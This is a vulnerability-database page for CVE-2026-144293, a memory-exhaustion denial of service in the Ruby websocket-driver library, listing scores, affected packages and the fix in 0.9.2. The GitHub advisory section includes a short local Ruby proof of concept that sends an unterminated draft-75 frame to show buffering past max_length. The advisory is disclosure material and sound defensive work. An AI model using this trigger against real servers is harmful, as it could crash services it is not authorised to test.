CVE-2026-144293
websocket- driver: Excessive memory use caused by draft- 75/ 76 buffering
- Severity
- 7.5HighNetwork attack, no privileges, no user interactionCVSS 3.1, CVE List
- Exploitation
- UnknownNo source reports exploitation yet.
- Exploit chance
- 0.74% in 30 daysPercentile56thEPSS, scored
- Listed fix
0.9.2for websocket-driver From GitHub Advisories3 other affected packages
Overview
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, a server created with WebSocket::Driver.server() and allow_drafts enabled can select the draft-75/76 delimited-frame parser, which continues buffering an unterminated message beyond max_length. An unauthenticated remote client can start a legacy draft text frame and omit its terminating delimiter, causing memory consumption to grow until the server process crashes. This issue is fixed in version 0.9.2.
CVSS 3.1 vector
Exploitability
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
Impact
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HExploit chance over time
Scored once so far, on . The trend appears after a second daily score.
Affected
Packages 4
| Package | Affected | Fixed |
|---|---|---|
websocket-driverRubyGems | before 0.9.2 | 0.9.2 |
node-websocket-driverDebian:12 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:13 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:14 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
Products 1
Sources
CVE List Score usedCVSS 3.17.5
websocket-driver: Excessive memory use caused by draft-75/76 buffering
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, a server created with WebSocket::Driver.server() and allow_drafts enabled can select the draft-75/76 delimited-frame parser, which continues buffering an unterminated message beyond max_length. An unauthenticated remote client can start a legacy draft text frame and omit its terminating delimiter, causing memory consumption to grow until the server process crashes. This issue is fixed in version 0.9.2.
- Record
CVE-2026-144293- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-03
EUVDEUVD-2026-143512CVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, a server created with WebSocket::Driver.server() and allow_drafts enabled can select the draft-75/76 delimited-frame parser, which continues buffering an unterminated message beyond max_length. An unauthenticated remote client can start a legacy draft text frame and omit its terminating delimiter, causing memory consumption to grow until the server process crashes. This issue is fixed in version 0.9.2.
- Record
EUVD-2026-143512- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-03
GitHub AdvisoriesGHSA-q3c8-h5pg-2836CVSS 3.17.5
websocket-driver: Excessive memory use caused by draft-75/76 buffering
Summary
A server running websocket-driver can be made to buffer data in excess of max_length and potentially run out of memory by a client sending a non-terminated stream of message data.
Details
When configured using allow_drafts: true, the websocket-driver library continues to support legacy draft versions of the WebSocket protocol. These use delimited rather than length-prefixed frames; a frame is initiated by sending 00 and ended by sending FF. If a client sends 00 and then sends a long series of bytes, the server will buffer this data in excess of max_length, potentially causing it to run out of memory if the message is continued indefinitely.
This has been mitigated by properly enforcing the max_length limit at the point where the data is buffered. It can also be prevented by not setting the allow_drafts option.
Proof of concept
This script demonstrates how much data is buffered by a draft-75 parser on receipt of a very long unterminated message:
require 'bundler/setup'
require 'websocket/driver'
class Sock
def write(_) ; end
end
d = WebSocket::Driver.server(Sock.new, :allow_drafts => true, :max_length => 1024)
d.on(:connect) { d.start }
# draft-75 handshake: NO Sec-WebSocket-Key/Version/Key1/Key2 -> Draft75 selected
d.parse(
"GET / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Upgrade: websocket\r\n" +
"Connection: Upgrade\r\n" +
"Origin: http://localhost\r\n" +
"\r\n")
# One text frame: 0x00, then 10 MB of 0x41, NO terminating 0xFF, in one chunk.
N = 10 << 20
chunk = "\x00" + ("\x41" * (N + 1))
d.parse(chunk)
p d.instance_variable_get(:@delegate)
.instance_variable_get(:@reader)
.instance_variable_get(:@buffer).bytesize
p d.instance_variable_get(:@delegate)
.instance_variable_get(:@buffer).size
On vulnerable versions this will print numbers far in excess of the configured max_length.
Impact
A server with allow_drafts enabled can be made to run out of memory and crash by an unauthenticated remote client sending a non-terminating stream of message data.
- Record
GHSA-q3c8-h5pg-2836- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-04
NVDCVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, a server created with WebSocket::Driver.server() and allow_drafts enabled can select the draft-75/76 delimited-frame parser, which continues buffering an unterminated message beyond max_length. An unauthenticated remote client can start a legacy draft text frame and omit its terminating delimiter, causing memory consumption to grow until the server process crashes. This issue is fixed in version 0.9.2.
- Record
CVE-2026-144293- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-03
OSVCVSS 3.17.5
websocket-driver: Excessive memory use caused by draft-75/76 buffering
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, a server created with WebSocket::Driver.server() and allow_drafts enabled can select the draft-75/76 delimited-frame parser, which continues buffering an unterminated message beyond max_length. An unauthenticated remote client can start a legacy draft text frame and omit its terminating delimiter, causing memory consumption to grow until the server process crashes. This issue is fixed in version 0.9.2.
- Record
CVE-2026-144293- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-04
OSVDEBIAN-CVE-2026-144293CVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, a server created with WebSocket::Driver.server() and allow_drafts enabled can select the draft-75/76 delimited-frame parser, which continues buffering an unterminated message beyond max_length. An unauthenticated remote client can start a legacy draft text frame and omit its terminating delimiter, causing memory consumption to grow until the server process crashes. This issue is fixed in version 0.9.2.
- Record
DEBIAN-CVE-2026-144293- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-04
History
Recorded by Every CVE
| Day | Changed | Sources |
|---|---|---|
| Affected packages, key facts, references | GitHub Advisories, OSV | |
| Affected packages, other IDs, references | OSV | |
| Other IDs, references | OSV | |
| Other IDs, published date | EUVD, NVD | |
| First indexed | CVE List |
Upstream dates may differ.
References
github.com/faye/websocket-driver-ruby/security/advisories/GHSA-q3c8-h5pg-2836
github.com/faye/websocket-driver-ruby/commit/5a0bd6f9cbaa800a3796aa974120ad8bdb38ab35
github.com/faye/websocket-driver-ruby/releases/tag/0.9.2
nvd.nist.gov/vuln/detail/CVE-2026-144293
github.com/advisories/GHSA-q3c8-h5pg-2836
github.com/CVEProject/cvelistV5/tree/main/cves/2026/144xxx/CVE-2026-144293.json
security-tracker.debian.org/tracker/CVE-2026-144293